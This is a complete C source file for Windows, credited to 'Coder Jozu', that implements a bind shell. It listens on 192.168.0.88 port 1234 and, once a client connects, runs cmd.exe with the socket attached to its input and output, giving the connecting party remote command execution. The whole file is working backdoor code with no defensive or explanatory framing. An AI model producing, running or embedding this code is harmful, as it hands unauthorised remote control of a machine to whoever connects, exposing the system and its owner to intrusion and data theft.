// Redirect command console
// Coder Jozu
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <WINSOCK2.H>
#pragma comment(lib, "ws2_32")
int main(int argc, char* argv[])
{
SOCKET s;
SOCKET s1;
SOCKADDR_IN sin;
WSADATA wsa;
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
char szCmd[] = "cmd";
WSAStartup(MAKEWORD(1, 1), &wsa);
s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);
if(s == INVALID_SOCKET)
{
printf("Error on WSASocket %d, abort...", WSAGetLastError());
return 1;
}
sin.sin_family = AF_INET;
sin.sin_addr.S_un.S_addr = inet_addr("192.168.0.88");
sin.sin_port = htons(1234);
if(bind(s, (sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR)
{
printf("Error on connect %d, abort...", WSAGetLastError());
return 1;
}
listen(s, 5);
s1 = accept(s, NULL, NULL);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)s1;
CreateProcess(NULL, szCmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
return 0;
}